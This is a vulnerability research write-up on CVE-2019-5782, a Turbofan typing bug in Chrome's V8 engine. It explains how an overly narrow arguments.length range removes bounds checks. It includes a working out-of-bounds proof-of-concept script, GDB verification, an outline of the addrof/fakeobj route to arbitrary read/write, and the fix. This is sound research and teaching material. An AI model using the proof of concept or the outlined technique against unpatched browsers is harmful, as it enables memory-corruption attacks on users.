CVE-2019-5782 | OOB V8

Research Done By Ravshan Rikhsiev (2023)

Building

mkdir v8
cd v8
fetch v8
cd v8
# Moving into vulnerable commit
git checkout 18b28402118b7918512c3e5b6bc5c6f348d43564
# Sync depot tools
gclient sync -D
# Installing dependencies 
build/install-build-deps.sh
# Installing ninja to build
sudo apt install -y ninja-build
# Release and Debug versions of V8
tools/dev/gm.py x64.release; tools/dev/gm.py x64.debug

Incorrect optimization assumptions in V8

Turbofan is an optimizing compiler in the V8 JavaScript engine. It translates JavaScript code into highly optimized machine code for better performance. It uses various techniques, such as inlining functions, optimizing data types, and eliminating unnecessary operations, to generate efficient code. This helps improve the execution speed of JavaScript programs running in V8.

Javascript is a dynamic language, which means there can be issues with typing. For example, when evaluating an expression like a + 1, the type of a can be either a string or an integer. To optimize performance, the Turbofan optimization compiler uses assumptions to assume the type of the object.

An attacker can take advantage of Turbofan, manipulate them, and reach up to exploit the vulnerability.

Root Couse of Vulnerability

The kArgumentsLengthType is a constant defined in the file v8/src/compiler/type-cache.h in the V8 source code. It is used to represent the length of arguments of the function in JavaScript.

type-cache.h is a header file in the V8 source code that defines the TypeCache class. This class is used to cache type feedback information for JavaScript functions, which can be used to optimize the performance of the V8 engine. The TypeCache class is used in conjunction with the FeedbackVector class to store and retrieve type feedback information It also provides information about the range of caching. Here are some examples:

// src/compiler/type-cache.h
...
 Type const kInt8 = CreateRange<int8_t>();
  Type const kUint8 = CreateRange<uint8_t>();
  Type const kUint8Clamped = kUint8;
  Type const kUint8OrMinusZeroOrNaN =
      Type::Union(kUint8, Type::MinusZeroOrNaN(), zone());
  Type const kInt16 = CreateRange<int16_t>();
  Type const kUint16 = CreateRange<uint16_t>();
...
  Type const kHoleySmi = Type::Union(Type::SignedSmall(), Type::Hole(), zone());
...
  Type const kAdditiveSafeInteger =
      CreateRange(-4503599627370496.0, 4503599627370496.0);
  Type const kSafeInteger = CreateRange(-kMaxSafeInteger, kMaxSafeInteger);
  Type const kAdditiveSafeIntegerOrMinusZero =
      Type::Union(kAdditiveSafeInteger, Type::MinusZero(), zone());
  Type const kSafeIntegerOrMinusZero =
      Type::Union(kSafeInteger, Type::MinusZero(), zone());
  Type const kPositiveSafeInteger = CreateRange(0.0, kMaxSafeInteger);
...

These are just a few examples of the types defined in the v8/src/compiler/type-cache.h file.

Let’s consider the usage of the kArgumentsLengthType type in process in Javascript

function test() {
	return arguments.length;
}
// Returns 0
let a = new Array(0x1000);
test(...a);
// Returns 65536

As we can see in the code snippet, the arguments.length is used to determine the number of arguments passed to a JavaScript function. It is a built-in property that returns the number of arguments passed to the function.

For more information: MDN web docs - arguments.length

diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index 251ea08..9be7261 100644
--- a/src/compiler/type-cache.h
+++ b/src/compiler/type-cache.h
@@ -166,8 +166,7 @@
       Type::Union(Type::SignedSmall(), Type::NaN(), zone());
 
   // The valid number of arguments for JavaScript functions.
-  Type const kArgumentsLengthType =
-      Type::Range(0.0, Code::kMaxArguments, zone());
+  Type const kArgumentsLengthType = Type::Unsigned30();
 
   // The JSArrayIterator::kind property always contains an integer in the
   // range [0, 2], representing the possible IterationKinds.

From the patch analysis, our vulnerable code is located at:

Type const kArgumentsLengthType =
    Type::Range(0.0, Code::kMaxArguments, zone());

Let’s analyze the kArgumentsLengthType type, which has a range from 0.0 to Code::kMaxArguments, in the current zone. Before diving into the analysis, let’s understand a little bit about zones.

In V8, zones are used to manage memory allocation and deallocation. They provide a way to group related objects and allocate memory for them. Each zone has its own memory space, allowing for more efficient memory management.

• In addition to the JavaScript heap, V8 uses off-heap memory for internal VM operations. The largest chunk of memory is allocated through memory areas called zones. Zones are a type of region-based memory allocator which enables fast allocation and bulk deallocation where all zone-allocated memory is freed at once when the zone is destroyed. Zones are used throughout V8’s parser and compilers.

Now, let’s focus on analyzing the kMaxArguments type

// src/objects/code.h
...
  static const int kArgumentsBits = 16;
  // Reserve one argument count value as the "don't adapt arguments" sentinel.
  static const int kMaxArguments = (1 << kArgumentsBits) - 2;
...

The kArgumentsBits value is set to 16, which means that kMaxArguments will be (1 « 16 - 2 = 65536 - 2 = 65534 OR 0xFFFE). This implies that the Turbofan optimizer assumes that the maximum length of the arguments can be 65534 for optimization purposes. The kArgumentsLengthType represents the number of arguments to the JavaScript function, and kMaxArguments is set to 65534 (0xfffe). In other words, before the patch, the range of the number of function arguments was defined as from 0 to 65534 during the optimization process. Therefore, once a function is optimized, Turbofan assumes that the number of arguments for that function will never exceed 0xfffe. Thus, from Turbofan’s perspective, the result of arguments.length >> 16 is always 0.

// src/compiler/typer.cc
Type Typer::Visitor::JSShiftRightTyper(Type lhs, Type rhs, Typer* t) {
  return BinaryNumberOpTyper(lhs, rhs, t, NumberShiftRight);
}

The function JSShiftRightTyper() is designed to optimize the shift-right operation during the Typer phase of the JavaScript optimization process. This operation involves shifting the bits of a value lhs to the right by a specified number of bits rhs. The function takes two parameters, lhs representing the value to be shifted and rhs representing the number of bits to shift.

Within its implementation, JSShiftRightTyper() utilizes the BinaryNumberOpTyper() function to determine and obtain the type of the result produced by the shift right operation. The result of this type inference, performed by BinaryNumberOpTyper(), is then returned by JSShiftRightTyper().

In essence, JSShiftRightTyper() acts as a wrapper that leverages the capabilities of BinaryNumberOpTyper() to optimize and determine the type of the result of a shift right operation in JavaScript.

// src/compiler/typer.cc

Type Typer::Visitor::BinaryNumberOpTyper(Type lhs, Type rhs, Typer* t,
                                         BinaryTyperFun f) {
  lhs = ToNumeric(lhs, t);
  rhs = ToNumeric(rhs, t);
  bool lhs_is_number = lhs.Is(Type::Number());
  bool rhs_is_number = rhs.Is(Type::Number());
  if (lhs_is_number && rhs_is_number) {
    return f(lhs, rhs, t);
  }
...
}

BinaryNumberOpTyper() calls a function f() provided as the fourth argument when both lhs and rhs are of number types. It then returns the result of this function. Essentially, it leads to the call of NumberShiftRight().

// src/compiler/operation-typer.cc

Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
  DCHECK(lhs.Is(Type::Number()));
  DCHECK(rhs.Is(Type::Number()));

  lhs = NumberToInt32(lhs);
  rhs = NumberToUint32(rhs);

  if (lhs.IsNone() || rhs.IsNone()) return Type::None();

  int32_t min_lhs = lhs.Min();
  int32_t max_lhs = lhs.Max();
  uint32_t min_rhs = rhs.Min();
  uint32_t max_rhs = rhs.Max();
  if (max_rhs > 31) {
    // rhs can be larger than the bitmask
    max_rhs = 31;
    min_rhs = 0;
  }
  double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
  double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);

  if (max == kMaxInt && min == kMinInt) return Type::Signed32();
  return Type::Range(min, max, zone());
}

NumberShiftRight, is to handle type inference for the right shift operation (») involving numeric types. Below is a summary of the code:

1. The function takes two parameters, lhs and rhs, representing the left-hand and right-hand operands of the right shift operation.
2. It asserts that both lhs and rhs have the type Number() using DCHECK, which is a debug check commonly used in the V8.
3. The NumberToInt32 and NumberToUint32 functions are called on lhs and rhs, respectively. These functions likely convert the numeric types to 32-bit signed and unsigned integers, respectively.
4. If either the converted lhs or rhs is of type None(), indicating that the types are not representable as 32-bit integers, the function returns Type::None().
5. The function then extracts minimum and maximum values (min_lhs, max_lhs, min_rhs, max_rhs) from the converted types.
6. There is a check to ensure that max_rhs does not exceed 31, as shifting by more than 31 bits is an undefined behavior in C++.
7. The code calculates the minimum and maximum values resulting from the right shift operation (min_lhs >> min_rhs, min_lhs >> max_rhs, max_lhs >> min_rhs, max_lhs >> max_rhs). In other words (0 >> 0, 0 >> 65534, 65534 >> 0, 65534 >> 65534 ).
8. The result is then used to determine the overall type of the right shift operation. If the result range covers the entire range of 32-bit signed integers, it returns Type::Signed32(). Otherwise, it returns a Type::Range object with the calculated minimum and maximum values.

In summary, when performing the operation arguments.length >> 16, where kMaxArguments ranges from 0 to 65534 OR 0xFFFE and 16 is a constant value, the Right Shift resulting range from NumberShiftRight() will always be [0, 0].

Because MINIMUM ( 0 >> 16 = 0 ) AND MAXIMUM (65534 >> 16 = 0) are both of them zero, and optimizer assumes that the maximum range is [0,0] , because of the minimum and maximum results and a bigger range than it is impossible by assumptions of Turbofan in the optimization process.

Ok, the range is zero to zero is it a security issue?!

First of all, let’s explain what is VisitCheckBounds

// src/compiler/simplified-lowering.cc

  void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
...
          if (lowering->poisoning_level_ ==
                  PoisoningMitigationLevel::kDontPoison &&
              (index_type.IsNone() || length_type.IsNone() ||
               (index_type.Min() >= 0.0 &&
                index_type.Max() < length_type.Min()))) {
            // The bounds check is redundant if we already know that
            // the index is within the bounds of [0.0, length[.
            DeferReplacement(node, node->InputAt(0));
...

VisitCheckBounds() is a function responsible for optimizing the CheckBounds node in the SimplifiedLowering phase, i.e. the node that performs bounds checking of the array to ensure that out-of-bounds (OOB) do not occur. index_type is the type (range) of the index trying to access the array, and length_type is the type (range) of the length of the array.

If index_type.Min() >= 0.0 && index_type.Max() < length_type.Min() is satisfied, DeferReplacement() is called inside the conditional statement to remove the CheckBounds node. Index_type.Max() being less than length_type.Min() means there is absolutely no chance of OOB occurring. For example, if the index range of array arr is [0, 5] and the length range is [10, 15], then no matter where you access arr[0] to arr[5], the size of arr is at least 10, so it is absolutely OOB does not occur. In these cases, we determine that there is no need to perform bounds checking.

When there is a code like arr[(arguments.length >> 16) * idx], from Turbofan’s perspective, the range of arguments.length >> 16 is [0, 0], so regardless of the value of idx, the range of the index is It is [0, 0]. If the length of arr is greater than 1, that is, unless it is an empty array, the CheckBounds node is removed and no bounds checking is performed.

Even if 0x10000 arguments are passed to the function and the actual value of arguments.length >> 16 is 1, the CheckBounds node is still removed because it can never be 0 from Turbofan’s point of view. Then, OOB can be generated in arr[(arguments.length >> 16) * idx], and by adjusting the value of idx, you can access an arbitrary index and read or write the value.

The right side of the code is vulnerable code which goes through the optimization phase, the left side is unoptimized code, we came to reach vulnerability by the right side of the code, what is the meaning of the pseudo float number on the right?

NOTE: 0xdeadbeef represented as an example the hexadecimal data in the stack alignment.

Unoptimized code can not access to ARRAY[1]
ARRAY[0] = 0.1
_______________________________________________________
|  0.1 | 0xdeadbeef |  0xdeadbeef |  0xdeadbeef | ....
ARRAY[1] gives undefined
##########################################################################
Optimized code can access to ARRAY[1], because of wrong assumptions in 
optimization process
ARRAY[0] = 0.1
_______________________________________________________
|  0.1 | 0xdeadbeef |  0xdeadbeef |  0xdeadbeef | ....
ARRAY[1] gives 1.8457939563e-314 double represention of 0xdeadbeef

Let’s prove of theory by debugging with GDB, and PoC code:

let a;
function f() {
    let l = arguments.length;
    a = [0.1];
    let idx = (l >> 16) * 1;
    return a[idx];
}

f();
// To optimize the code
for (let i = 0; i < 90000; i++) {
  f();
}

let b = new Array(0x10000);
console.log(f(...b));
%DebugPrint(a);
%SystemBreak();

We run the program into gdb with the flag --allow-natives-syntax is a command-line flag used in debugging to enable certain internal debugging commands and features related to V8’s native code. All processes below are done through the optimization phase.

The program prints out 2.7063596027204e-310 double number which is the data next to 0.1 array in the stack. As you can see in the elements of the array there is only one element 0.1. Let’s look at the stack address, what is the 2.7063596027204e-310 double number inside of elements.

Note: A subtraction of one is applied to the address for pointer tagging.

The first 0x3fb999999999999a hexadecimal represents 0.1 number by Floating-Point Arithmetic IEEE 754 **standard, it is the same value as in array a[0]. The second 0x000031d1d7302ed9 hexadecimal represents the 2.7063596027204e-310 number which is the same printed out number of array a[1], which means successfully accessed out-of-bounds of array.

Actually, the address 0x000031d1d7302ed9 is the address of the map of the FixedDoubleArray.

Exploitation

First, initializing one array to trigger the bug next to the second array to change its array length by OOB to achieve read of stack address, and by addrof and fakeobj primitive gaining read/write access the gaining to arbitrary read/write.

Patch

diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index 251ea08..9be7261 100644
--- a/src/compiler/type-cache.h
+++ b/src/compiler/type-cache.h
@@ -166,8 +166,7 @@
       Type::Union(Type::SignedSmall(), Type::NaN(), zone());

   // The valid number of arguments for JavaScript functions.
-  Type const kArgumentsLengthType =
-      Type::Range(0.0, Code::kMaxArguments, zone());
+  Type const kArgumentsLengthType = Type::Unsigned30();

   // The JSArrayIterator::kind property always contains an integer in the
   // range [0, 2], representing the possible IterationKinds.

diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index 251ea08..9be7261 100644
--- a/src/compiler/type-cache.h
+++ b/src/compiler/type-cache.h
@@ -166,8 +166,7 @@
       Type::Union(Type::SignedSmall(), Type::NaN(), zone());

   // The valid number of arguments for JavaScript functions.
-  Type const kArgumentsLengthType =
-      Type::Range(0.0, Code::kMaxArguments, zone());
+  Type const kArgumentsLengthType = Type::Unsigned30();

   // The JSArrayIterator::kind property always contains an integer in the
   // range [0, 2], representing the possible IterationKinds.

Type::Unsigned30() is a type in the V8 engine. It is used to represent an unsigned 30-bit integer used to declare an integer type that can only hold non-negative values. Therefore, the range of an unsigned 30-bit integer is from 0 to 1,073,741,823. It gives much more freedom to assumption, than max kMaxArgumentsLength.

Reference

[1] https://v8.dev/blog/code-caching

[2] https://v8.dev/blog/optimizing-v8-memory

[3] https://v8.dev/blog/pointer-compression

Неправильная оптимизация на движке V8 Chrome